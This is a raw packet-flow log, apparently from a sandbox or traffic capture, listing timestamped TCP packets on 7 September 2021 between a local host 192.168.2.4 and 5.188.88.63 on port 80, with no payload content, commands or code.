Sep 7, 2021 16:03:05.756894112 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.756911993 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.756936073 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.756946087 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.756958961 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.756982088 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757004023 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757006884 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.757025957 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757040024 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.757049084 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757070065 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757091045 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.757097006 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757121086 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757133961 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.757142067 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757165909 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757174969 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.757188082 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757208109 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757225990 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.757230043 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757251978 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757272959 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.757278919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757302999 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757320881 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.757325888 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757349014 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757364035 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.757371902 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757392883 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757401943 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.757416010 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757437944 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757457018 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.757464886 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757488966 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757508993 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.757512093 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757534981 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757550955 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.757565022 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757587910 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757610083 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757611990 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.757633924 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757652044 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.757657051 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757678986 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757693052 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.757702112 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757728100 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757746935 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.757750988 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757775068 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757791996 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.757797956 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757822037 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757836103 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.757843971 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757867098 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757882118 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.757890940 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757916927 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.757927895 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.831783056 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.831815004 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.831839085 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.831864119 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.831887007 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.831893921 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.831919909 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.831937075 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.831940889 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.831940889 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.831963062 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.831984043 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832003117 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832004070 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832026958 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832046986 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832051039 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832075119 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832098961 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832118034 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832142115 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832161903 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832180977 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832197905 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832216978 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832242012 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832268953 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832293034 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832310915 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832315922 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832317114 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832320929 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832323074 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832325935 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832338095 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832345009 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832361937 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832384109 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832386017 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832407951 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832427025 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832431078 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832458019 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832477093 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832482100 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832504988 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832528114 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832536936 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832550049 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832570076 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832575083 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832592010 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832612038 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832619905 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832634926 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832654953 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832665920 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832674980 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832695961 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832705975 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832719088 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832740068 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832741976 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832762957 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832784891 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832784891 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832812071 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832832098 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832835913 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832858086 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832880974 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832881927 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832904100 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832920074 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832926989 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832947969 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832971096 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.832972050 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.832995892 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833017111 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.833019972 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833040953 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833064079 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833065033 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.833086967 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833108902 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833113909 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.833133936 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833147049 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.833157063 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833183050 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833199024 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.833208084 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833230972 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833247900 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.833255053 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833278894 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833292007 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.833302021 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833326101 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833343029 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.833350897 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833378077 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833389997 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.833403111 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833426952 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833446980 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.833451033 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833472967 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833496094 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.833496094 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833519936 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833535910 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.833544016 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833569050 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833592892 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.833596945 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.833637953 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.835309982 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.836344957 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.906573057 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.906599998 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.906624079 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.906646967 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.906661034 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.906670094 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.906693935 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.906716108 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.906732082 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.906747103 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.906754017 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.906770945 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.907335997 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907363892 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907392025 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907418013 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907442093 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907465935 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907490015 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907491922 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.907515049 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907538891 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907550097 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.907562971 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907567978 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.907609940 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907613039 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.907617092 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.907636881 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907660007 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907664061 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.907687902 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907701015 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.907713890 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907737017 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907757044 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.907759905 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907783985 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907799006 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.907805920 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907830000 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907851934 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.907855034 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907883883 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907908916 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907908916 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.907932043 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907953978 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.907972097 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.907978058 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.908000946 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.908023119 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.908046007 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.908067942 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.908073902 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.908092022 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.908096075 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.908098936 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.908122063 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.908144951 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.908154011 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.908168077 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.908190966 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.908202887 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.908214092 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.908236027 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.908245087 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.908263922 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.908291101 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.908294916 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.908313990 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.908346891 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.987067938 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.987145901 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.987180948 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.987226009 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.987266064 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.987270117 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.987303972 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.987349033 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.987354994 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.987407923 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.987447023 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.987462997 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.987497091 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.987540007 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.987540960 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.987595081 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.987643003 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.987644911 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.987688065 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.987726927 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.987736940 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.987766981 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.987807989 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.987814903 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.987847090 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.987909079 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.987921000 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.987960100 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.987998009 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988025904 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.988037109 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988078117 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.988102913 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988152027 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988193035 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988197088 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.988229990 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988277912 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988313913 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.988321066 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988359928 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988369942 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.988399029 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988440037 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988442898 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.988476992 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988516092 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988518953 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.988554955 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988598108 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.988604069 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988648891 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988687038 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988693953 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.988725901 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988765955 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988770008 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.988804102 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988842010 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988843918 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.988892078 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988929033 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.988934040 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.988966942 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989005089 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989010096 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.989053011 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989095926 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989099979 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.989132881 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989172935 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989176035 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.989209890 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.989248037 CEST	80	49772	5.188.88.63	192.168.2.4
